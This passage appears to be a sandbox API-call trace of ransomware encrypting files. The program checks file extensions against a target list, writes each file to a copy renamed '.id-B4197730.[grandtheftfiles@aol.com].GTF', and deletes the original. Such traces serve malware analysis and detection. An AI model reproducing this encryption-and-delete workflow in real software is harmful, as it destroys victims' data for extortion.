	[0091.268] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0091.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0091.268] lstrlenW (lpString=".1cd") returned 4
	[0091.268] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0091.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0091.268] lstrlenW (lpString=".jpg") returned 4
	[0091.268] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0091.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0091.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0091.268] lstrlenW (lpString=".doc") returned 4
	[0091.269] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0091.269] lstrlenW (lpString=".docx") returned 5
	[0091.269] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0091.269] lstrlenW (lpString=".pdf") returned 4
	[0091.269] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0091.269] lstrlenW (lpString=".xls") returned 4
	[0091.269] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0091.269] lstrlenW (lpString=".xlsx") returned 5
	[0091.269] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0091.269] lstrlenW (lpString=".ppt") returned 4
	[0091.269] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0091.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0091.269] lstrlenW (lpString=".zip") returned 4
	[0091.269] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0091.269] lstrlenW (lpString=".rar") returned 4
	[0091.269] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0091.269] lstrlenW (lpString=".bz2") returned 4
	[0091.269] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0091.269] lstrlenW (lpString=".7z") returned 3
	[0091.269] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0091.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0091.269] lstrlenW (lpString=".dbf") returned 4
	[0091.269] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0091.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0091.269] lstrlenW (lpString=".1cd") returned 4
	[0091.269] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0091.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0091.269] lstrlenW (lpString=".jpg") returned 4
	[0091.269] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0091.270] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0091.270] lstrlenW (lpString="J0099170.WMF") returned 12
	[0091.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0091.296] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=24292) returned 1
	[0091.296] CloseHandle (hObject=0x2d0) returned 1
	[0091.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 0x220
	[0091.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0091.306] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.306] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0091.307] GetLastError () returned 0x0
	[0091.307] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x5ee4, lpOverlapped=0x0) returned 1
	[0091.309] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x5ef0, lpOverlapped=0x0) returned 1
	[0091.310] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.310] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.310] SetEndOfFile (hFile=0x35c) returned 1
	[0091.310] CloseHandle (hObject=0x35c) returned 1
	[0091.310] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.310] SetEndOfFile (hFile=0x2d0) returned 1
	[0091.311] CloseHandle (hObject=0x2d0) returned 1
	[0091.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.311] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 1
	[0091.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0091.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0091.312] lstrlenW (lpString=".doc") returned 4
	[0091.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.312] lstrlenW (lpString=".docx") returned 5
	[0091.312] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0091.312] lstrlenW (lpString=".pdf") returned 4
	[0091.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.312] lstrlenW (lpString=".xls") returned 4
	[0091.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.312] lstrlenW (lpString=".xlsx") returned 5
	[0091.312] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0091.312] lstrlenW (lpString=".ppt") returned 4
	[0091.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0091.312] lstrlenW (lpString=".zip") returned 4
	[0091.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.312] lstrlenW (lpString=".rar") returned 4
	[0091.312] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.312] lstrlenW (lpString=".bz2") returned 4
	[0091.312] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.312] lstrlenW (lpString=".7z") returned 3
	[0091.312] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0091.312] lstrlenW (lpString=".dbf") returned 4
	[0091.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0091.312] lstrlenW (lpString=".1cd") returned 4
	[0091.312] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0091.312] lstrlenW (lpString=".jpg") returned 4
	[0091.312] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0091.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0091.313] lstrlenW (lpString=".doc") returned 4
	[0091.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.313] lstrlenW (lpString=".docx") returned 5
	[0091.313] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0091.313] lstrlenW (lpString=".pdf") returned 4
	[0091.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.313] lstrlenW (lpString=".xls") returned 4
	[0091.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.313] lstrlenW (lpString=".xlsx") returned 5
	[0091.313] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0091.313] lstrlenW (lpString=".ppt") returned 4
	[0091.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0091.313] lstrlenW (lpString=".zip") returned 4
	[0091.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.313] lstrlenW (lpString=".rar") returned 4
	[0091.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.313] lstrlenW (lpString=".bz2") returned 4
	[0091.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.313] lstrlenW (lpString=".7z") returned 3
	[0091.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0091.313] lstrlenW (lpString=".dbf") returned 4
	[0091.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0091.313] lstrlenW (lpString=".1cd") returned 4
	[0091.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0091.313] lstrlenW (lpString=".jpg") returned 4
	[0091.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.314] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0091.314] lstrlenW (lpString="J0099174.WMF") returned 12
	[0091.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0091.314] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=6214) returned 1
	[0091.314] CloseHandle (hObject=0x2d0) returned 1
	[0091.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 0x220
	[0091.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0091.314] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.315] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0091.315] GetLastError () returned 0x0
	[0091.315] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x1846, lpOverlapped=0x0) returned 1
	[0091.317] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x1850, lpOverlapped=0x0) returned 1
	[0091.318] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.318] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.318] SetEndOfFile (hFile=0x35c) returned 1
	[0091.318] CloseHandle (hObject=0x35c) returned 1
	[0091.318] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.318] SetEndOfFile (hFile=0x2d0) returned 1
	[0091.319] CloseHandle (hObject=0x2d0) returned 1
	[0091.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.319] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 1
	[0091.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0091.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0091.319] lstrlenW (lpString=".doc") returned 4
	[0091.319] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.319] lstrlenW (lpString=".docx") returned 5
	[0091.319] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0091.320] lstrlenW (lpString=".pdf") returned 4
	[0091.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.320] lstrlenW (lpString=".xls") returned 4
	[0091.320] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.320] lstrlenW (lpString=".xlsx") returned 5
	[0091.320] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0091.320] lstrlenW (lpString=".ppt") returned 4
	[0091.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0091.320] lstrlenW (lpString=".zip") returned 4
	[0091.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.320] lstrlenW (lpString=".rar") returned 4
	[0091.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.320] lstrlenW (lpString=".bz2") returned 4
	[0091.320] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.320] lstrlenW (lpString=".7z") returned 3
	[0091.320] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0091.320] lstrlenW (lpString=".dbf") returned 4
	[0091.320] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0091.320] lstrlenW (lpString=".1cd") returned 4
	[0091.320] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0091.320] lstrlenW (lpString=".jpg") returned 4
	[0091.320] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0091.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0091.320] lstrlenW (lpString=".doc") returned 4
	[0091.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.320] lstrlenW (lpString=".docx") returned 5
	[0091.320] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0091.320] lstrlenW (lpString=".pdf") returned 4
	[0091.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.320] lstrlenW (lpString=".xls") returned 4
	[0091.320] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.321] lstrlenW (lpString=".xlsx") returned 5
	[0091.321] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0091.321] lstrlenW (lpString=".ppt") returned 4
	[0091.321] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0091.321] lstrlenW (lpString=".zip") returned 4
	[0091.321] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.321] lstrlenW (lpString=".rar") returned 4
	[0091.321] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.321] lstrlenW (lpString=".bz2") returned 4
	[0091.321] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.321] lstrlenW (lpString=".7z") returned 3
	[0091.321] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0091.321] lstrlenW (lpString=".dbf") returned 4
	[0091.321] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0091.321] lstrlenW (lpString=".1cd") returned 4
	[0091.321] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0091.321] lstrlenW (lpString=".jpg") returned 4
	[0091.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.321] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0091.321] lstrlenW (lpString="J0099175.WMF") returned 12
	[0091.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0091.322] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=9744) returned 1
	[0091.322] CloseHandle (hObject=0x2d0) returned 1
	[0091.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 0x220
	[0091.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0091.322] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.322] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0091.323] GetLastError () returned 0x0
	[0091.323] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x2610, lpOverlapped=0x0) returned 1
	[0091.325] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x2620, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x2620, lpOverlapped=0x0) returned 1
	[0091.326] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.326] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.326] SetEndOfFile (hFile=0x35c) returned 1
	[0091.326] CloseHandle (hObject=0x35c) returned 1
	[0091.326] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.326] SetEndOfFile (hFile=0x2d0) returned 1
	[0091.327] CloseHandle (hObject=0x2d0) returned 1
	[0091.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.327] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 1
	[0091.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0091.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0091.328] lstrlenW (lpString=".doc") returned 4
	[0091.328] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.328] lstrlenW (lpString=".docx") returned 5
	[0091.328] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0091.328] lstrlenW (lpString=".pdf") returned 4
	[0091.328] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.328] lstrlenW (lpString=".xls") returned 4
	[0091.328] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.328] lstrlenW (lpString=".xlsx") returned 5
	[0091.328] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0091.328] lstrlenW (lpString=".ppt") returned 4
	[0091.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0091.328] lstrlenW (lpString=".zip") returned 4
	[0091.328] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.328] lstrlenW (lpString=".rar") returned 4
	[0091.328] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.328] lstrlenW (lpString=".bz2") returned 4
	[0091.328] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.328] lstrlenW (lpString=".7z") returned 3
	[0091.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
